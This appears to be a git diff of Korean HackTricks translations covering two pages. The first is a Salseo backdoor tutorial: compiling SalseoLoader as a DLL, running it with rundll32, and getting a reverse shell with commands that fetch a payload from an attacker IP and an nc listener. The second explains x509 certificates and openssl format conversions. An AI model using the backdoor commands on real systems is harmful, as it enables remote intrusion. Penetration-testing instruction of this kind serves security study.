@ -297,73 +81,73 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## DLL로 메인 함수를 내보내는 SalseoLoader 컴파일하기
|
||||
## DLL을 내보내는 주요 함수로 SalseoLoader를 DLL로 컴파일하기
|
||||
|
||||
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
|
||||
|
||||
### 메인 함수 앞에 \[DllExport] 추가하기
|
||||
### 주요 함수 앞에 추가: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### 이 프로젝트에 DllExport 설치하기
|
||||
### 이 프로젝트에 DllExport 설치
|
||||
|
||||
#### **도구** --> **NuGet 패키지 관리자** --> **솔루션용 NuGet 패키지 관리...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExport 패키지를 검색하고 설치 버튼을 누릅니다 (팝업을 허용합니다)**
|
||||
#### **DllExport 패키지 검색 (탐색 탭 사용)하여 설치 (팝업 수락)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
프로젝트 폴더에 **DllExport.bat**과 **DllExport\_Configure.bat** 파일이 나타납니다.
|
||||
프로젝트 폴더에 **DllExport.bat** 및 **DllExport\_Configure.bat** 파일이 나타납니다.
|
||||
|
||||
### DllExport 제거하기
|
||||
### DllExport 제거
|
||||
|
||||
**제거** 버튼을 누릅니다 (네, 이상하지만 믿어주세요, 필요합니다)
|
||||
**제거**를 누릅니다 (이상하지만, 신뢰하세요, 필요합니다)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### Visual Studio를 종료하고 DllExport\_configure 실행하기
|
||||
### Visual Studio를 종료하고 DllExport\_configure 실행
|
||||
|
||||
Visual Studio를 **종료**합니다.
|
||||
Visual Studio를 **종료**합니다
|
||||
|
||||
그런 다음, **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다.
|
||||
그런 다음, **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다
|
||||
|
||||
**x64**를 선택합니다 (x64 상자 내에서 사용할 것이라면, 제 경우에는 그랬습니다), **System.Runtime.InteropServices**를 선택합니다 (DllExport의 네임스페이스 내에서) 그리고 **적용**을 누릅니다.
|
||||
**x64**를 선택합니다 (x64 상자 내에서 사용할 예정이라면), **System.Runtime.InteropServices** (DllExport의 **Namespace 내부**)를 선택하고 **적용**을 누릅니다
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### Visual Studio로 프로젝트 다시 열기
|
||||
### 프로젝트를 다시 Visual Studio로 엽니다
|
||||
|
||||
**\[DllExport]**는 더 이상 오류로 표시되지 않아야 합니다.
|
||||
**\[DllExport]**가 더 이상 오류로 표시되지 않아야 합니다
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### 솔루션 빌드하기
|
||||
### 솔루션 빌드
|
||||
|
||||
**출력 유형 = 클래스 라이브러리**를 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
|
||||
**출력 유형 = 클래스 라이브러리** 선택 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
**x64 플랫폼**을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
|
||||
**x64 플랫폼** 선택 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
솔루션을 **빌드**하기 위해: 빌드 --> 솔루션 빌드 (출력 콘솔에 새 DLL의 경로가 표시됩니다)
|
||||
솔루션을 **빌드**하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다)
|
||||
|
||||
### 생성된 Dll 테스트하기
|
||||
### 생성된 Dll 테스트
|
||||
|
||||
테스트하려는 위치에 Dll을 복사하여 붙여넣습니다.
|
||||
DLL을 테스트하려는 위치에 복사하여 붙여넣습니다.
|
||||
|
||||
다음을 실행합니다:
|
||||
실행:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
만약 오류가 나타나지 않는다면, 아마도 기능적인 DLL이 있을 것입니다!!
|
||||
|
||||
## DLL을 사용하여 셸 획득
|
||||
## DLL을 사용하여 쉘 획득
|
||||
|
||||
**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요.
|
||||
**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -376,13 +160,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
CMD는 Windows 운영 체제에서 사용되는 명령 줄 인터페이스(Command Line Interface)입니다. CMD를 사용하면 사용자는 컴퓨터에 대한 다양한 작업을 수행할 수 있습니다. CMD를 통해 파일 및 폴더 관리, 시스템 설정 변경, 네트워크 관리 등을 할 수 있습니다. 또한 CMD를 사용하여 프로그램을 실행하고, 프로세스를 관리하고, 시스템 정보를 확인할 수도 있습니다.
|
||||
|
||||
CMD는 강력한 도구이며, 해커들은 이를 악용하여 시스템에 대한 액세스 권한을 얻거나, 악성 코드를 실행하거나, 시스템을 손상시킬 수 있습니다. 따라서 시스템 보안을 강화하기 위해서는 CMD의 사용을 제한하거나 적절한 보안 조치를 취해야 합니다.
|
||||
|
||||
CMD를 사용하여 백도어를 설치하거나 관리하는 것도 가능합니다. 백도어는 해커가 시스템에 액세스할 수 있는 비밀 경로를 만드는 도구입니다. 백도어를 설치하면 해커는 시스템에 대한 완전한 제어권을 획득할 수 있으며, 이는 불법적인 활동에 이용될 수 있습니다. 따라서 시스템 보안을 유지하기 위해서는 백도어를 탐지하고 제거하는 방법을 알아야 합니다.
|
||||
|
||||
CMD를 사용하는 것은 유용하지만, 주의해야 할 점도 있습니다. CMD를 사용할 때는 신중하게 사용하고, 보안 조치를 취하여 시스템을 안전하게 유지해야 합니다.
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -393,14 +171,14 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,57 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급스러운 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 인증서란
|
||||
|
||||
**공개 키 인증서**는 암호학에서 사용되는 디지털 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이 인증서에는 키의 세부 정보, 소유자의 신원 (주체) 및 신뢰할 수 있는 기관 (발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키의 소유자와 안전한 통신이 가능합니다.
|
||||
**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키의 소유자와의 안전한 통신이 가능합니다.
|
||||
|
||||
인증서는 대부분 [인증 기관](https://en.wikipedia.org/wiki/Certificate_authority) (CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 설정에서 발급됩니다. 다른 방법은 [신뢰의 웹](https://en.wikipedia.org/wiki/Web_of_trust)으로, 사용자가 서로의 키를 직접 확인합니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 설명된대로 특정 요구 사항에 맞게 조정할 수 있습니다.
|
||||
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 개별 요구 사항에 맞게 조정할 수 있습니다.
|
||||
|
||||
## x509 공통 필드
|
||||
|
||||
### **x509 인증서의 공통 필드**
|
||||
|
||||
x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드의 내용은 다음과 같습니다:
|
||||
x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드들을 살펴보겠습니다:
|
||||
|
||||
- **버전 번호**는 x509 형식의 버전을 나타냅니다.
|
||||
- **일련 번호**는 주로 폐지 추적을 위해 인증 기관 (CA) 시스템 내에서 인증서를 고유하게 식별합니다.
|
||||
- **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보가 포함됩니다:
|
||||
- **공통 이름 (CN)**: 인증서로 커버되는 도메인.
|
||||
- **국가 (C)**, **지역 (L)**, **주 또는 도 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
|
||||
- **식별 이름 (DN)**은 전체 주체 식별 정보를 캡슐화합니다.
|
||||
- **발급자**는 인증서를 검증하고 서명한 사람을 나타내며, CA의 경우 주체와 유사한 하위 필드를 포함합니다.
|
||||
- **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되며, 특정 날짜 이전이나 이후에 인증서를 사용하지 않도록 보장합니다.
|
||||
- **공개 키** 섹션은 인증서의 보안에 중요한 역할을 하는 공개 키의 알고리즘, 크기 및 기타 기술적 세부 정보를 지정합니다.
|
||||
- **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **대체 주체 이름** 및 기타 속성을 지정하여 인증서의 응용 프로그램을 세밀하게 조정합니다.
|
||||
* **버전 번호**는 x509 형식의 버전을 나타냅니다.
|
||||
* **일련 번호**는 주로 폐지 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다.
|
||||
* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다:
|
||||
* **일반 이름 (CN)**: 인증서가 적용되는 도메인
|
||||
* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
|
||||
* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다.
|
||||
* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
|
||||
* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되며, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 보장합니다.
|
||||
* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다.
|
||||
* **x509v3 확장**은 인증서의 기능성을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
|
||||
|
||||
#### **키 사용 및 확장**
|
||||
|
||||
- **키 사용**은 공개 키의 암호학적 응용 프로그램 (예: 디지털 서명 또는 키 암호화)을 식별합니다.
|
||||
- **확장 키 사용**은 인증서의 사용 사례를 더 좁게 정의합니다. 예를 들어, TLS 서버 인증에 사용됩니다.
|
||||
- **대체 주체 이름** 및 **기본 제약 조건**은 인증서로 커버되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서 여부를 정의합니다.
|
||||
- **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
|
||||
- **권한 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인하기 위한 경로를 제공합니다.
|
||||
- **CT Precertificate SCTs**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다.
|
||||
* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화
|
||||
* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증을 위해
|
||||
* **주체 대체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름과 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
|
||||
* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다.
|
||||
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인할 수 있는 경로를 제공합니다.
|
||||
* **CT 사전 인증 SCT**는 인증서에 대한 투명성 로그를 제공하여 인증서에 대한 공개 신뢰를 보장합니다.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -74,201 +74,122 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **OCSP와 CRL Distribution Points의 차이점**
|
||||
### **OCSP와 CRL 배포 지점의 차이점**
|
||||
|
||||
**OCSP** (**RFC 2560**)는 디지털 공개키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답자가 함께 작동하는 방식으로, 전체 **CRL**을 다운로드할 필요 없이 확인하는 것입니다. 이 방법은 폐기된 인증서 일련번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)에서 확인할 수 있습니다.
|
||||
**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 작동합니다. 이 방법은 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
|
||||
|
||||
### **인증서 투명성(Certificate Transparency)이란?**
|
||||
### **인증서 투명성이란**
|
||||
|
||||
인증서 투명성은 도메인 소유자, CA 및 사용자가 SSL 인증서의 발급 및 존재를 확인할 수 있도록하여 인증서 관련 위협에 대응하는 데 도움이 됩니다. 인증서 투명성의 목표는 다음과 같습니다:
|
||||
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 표시되도록하여 인증서 관련 위협에 대항하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
|
||||
|
||||
* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지합니다.
|
||||
* 잘못 발급되거나 악의적으로 발급된 인증서를 추적하기 위한 개방형 감사 시스템을 구축합니다.
|
||||
* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 설정합니다.
|
||||
* 사용자를 사기적인 인증서로부터 보호합니다.
|
||||
|
||||
#### **인증서 로그**
|
||||
|
||||
인증서 로그는 네트워크 서비스에 의해 유지되는 인증서의 공개 감사 가능한 추가 전용 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증명을 제공합니다. 발급 기관과 일반 사용자 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관련된 기관에 의해 독립적으로 관리될 수 있습니다.
|
||||
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 확인을 위해 쿼리를 할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 주로 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다.
|
||||
|
||||
#### **쿼리**
|
||||
|
||||
어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh)를 방문하세요.
|
||||
|
||||
인증서를 저장하는 다양한 형식이 있으며, 각각의 사용 사례와 호환성이 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 안내를 제공합니다.
|
||||
어떤 도메인에 대한 인증서 투명성 로그를 살펴보려면 [https://crt.sh/](https://crt.sh)를 방문하십시오.
|
||||
|
||||
## **형식**
|
||||
|
||||
### **PEM 형식**
|
||||
- 인증서에 가장 널리 사용되는 형식입니다.
|
||||
- 인증서와 개인 키를 별도의 파일로 요구하며, Base64 ASCII로 인코딩됩니다.
|
||||
- 일반적인 확장자: .cer, .crt, .pem, .key.
|
||||
- 주로 Apache 및 유사한 서버에서 사용됩니다.
|
||||
|
||||
* 인증서에 가장 널리 사용되는 형식입니다.
|
||||
* Base64 ASCII로 인코딩된 인증서 및 개인 키를 위한 별도의 파일이 필요합니다.
|
||||
* 일반적인 확장자: .cer, .crt, .pem, .key.
|
||||
* 주로 Apache 및 유사한 서버에서 사용됩니다.
|
||||
|
||||
### **DER 형식**
|
||||
- 인증서의 이진 형식입니다.
|
||||
- PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없습니다.
|
||||
- 일반적인 확장자: .cer, .der.
|
||||
- 주로 Java 플랫폼과 함께 사용됩니다.
|
||||
|
||||
* 인증서의 이진 형식입니다.
|
||||
* PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없습니다.
|
||||
* 일반적인 확장자: .cer, .der.
|
||||
* Java 플랫폼과 함께 자주 사용됩니다.
|
||||
|
||||
### **P7B/PKCS#7 형식**
|
||||
- Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
|
||||
- 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다.
|
||||
- Microsoft Windows 및 Java Tomcat에서 지원됩니다.
|
||||
|
||||
* Base64 ASCII에 저장되며, .p7b 또는 .p7c 확장자를 가집니다.
|
||||
* 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다.
|
||||
* Microsoft Windows 및 Java Tomcat에서 지원됩니다.
|
||||
|
||||
### **PFX/P12/PKCS#12 형식**
|
||||
- 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
|
||||
- 확장자: .pfx, .p12.
|
||||
- 주로 Windows에서 인증서를 가져오고 내보내는 데 사용됩니다.
|
||||
|
||||
* 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
|
||||
* 확장자: .pfx, .p12.
|
||||
* 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
|
||||
|
||||
### **형식 변환**
|
||||
|
||||
호환성을 위해 **PEM 변환**이 필수적입니다:
|
||||
**PEM 변환**은 호환성을 위해 필수적입니다:
|
||||
|
||||
- **x509에서 PEM으로 변환**
|
||||
* **x509를 PEM으로**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM을 DER로 변환하기**
|
||||
|
||||
PEM 형식의 인증서를 DER 형식으로 변환하는 방법은 다음과 같습니다:
|
||||
|
||||
1. OpenSSL을 사용하여 PEM 파일을 DER 파일로 변환합니다.
|
||||
```plaintext
|
||||
openssl x509 -outform der -in certificate.pem -out certificate.der
|
||||
```
|
||||
|
||||
2. 변환된 DER 파일은 이제 DER 형식의 인증서로 사용할 수 있습니다.
|
||||
* **PEM을 DER로 변환하기**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER를 PEM으로 변환하기**
|
||||
|
||||
DER 형식의 인증서를 PEM 형식으로 변환하는 방법은 다음과 같습니다:
|
||||
|
||||
1. OpenSSL을 사용하여 DER 파일을 PEM 파일로 변환합니다.
|
||||
```plaintext
|
||||
openssl x509 -inform der -in certificate.der -out certificate.pem
|
||||
```
|
||||
|
||||
2. 변환된 PEM 파일을 확인합니다.
|
||||
```plaintext
|
||||
cat certificate.pem
|
||||
```
|
||||
|
||||
이제 DER 형식의 인증서를 PEM 형식으로 변환할 수 있습니다.
|
||||
* **DER를 PEM으로 변환하기**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM을 P7B로 변환하기**
|
||||
|
||||
PEM 형식의 인증서를 P7B 형식으로 변환하는 방법을 알아보겠습니다.
|
||||
|
||||
1. OpenSSL을 사용하여 PEM 파일을 P7B 파일로 변환할 수 있습니다. 다음 명령어를 사용하세요.
|
||||
|
||||
```plaintext
|
||||
openssl crl2pkcs7 -nocrl -certfile certificate.pem -out certificate.p7b -certfile ca.pem
|
||||
```
|
||||
|
||||
- `certificate.pem`: 변환할 PEM 파일의 경로와 파일 이름을 입력하세요.
|
||||
- `certificate.p7b`: 변환된 P7B 파일의 경로와 파일 이름을 입력하세요.
|
||||
- `ca.pem`: PEM 파일에 대한 CA(인증 기관) 인증서 파일의 경로와 파일 이름을 입력하세요.
|
||||
|
||||
2. 명령어를 실행하면 PEM 파일이 P7B 형식으로 변환됩니다. 변환된 P7B 파일은 `certificate.p7b`로 저장됩니다.
|
||||
|
||||
이제 PEM 형식의 인증서를 P7B 형식으로 변환하는 방법을 알게 되었습니다.
|
||||
* **PEM을 P7B로 변환**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7를 PEM으로 변환하기**
|
||||
|
||||
PKCS7 형식의 인증서를 PEM 형식으로 변환하는 방법은 다음과 같습니다:
|
||||
|
||||
1. PKCS7 형식의 인증서 파일을 엽니다.
|
||||
2. OpenSSL 명령을 사용하여 다음 명령을 실행합니다:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs7 -print_certs -in input.p7b -out output.pem
|
||||
```
|
||||
|
||||
여기서 `input.p7b`는 변환할 PKCS7 파일의 경로이고, `output.pem`은 변환된 PEM 파일의 경로입니다.
|
||||
|
||||
3. 변환된 PEM 파일을 확인하고 사용할 수 있습니다.
|
||||
|
||||
이렇게 하면 PKCS7 형식의 인증서를 PEM 형식으로 변환할 수 있습니다.
|
||||
* **PKCS7를 PEM으로 변환**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
|
||||
|
||||
- **PFX를 PEM으로 변환**
|
||||
* **PFX를 PEM으로**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX를 PKCS#8로 변환**하는 데는 두 단계가 필요합니다:
|
||||
* **PFX를 PKCS#8로** 변환하는 과정은 두 단계로 이루어집니다:
|
||||
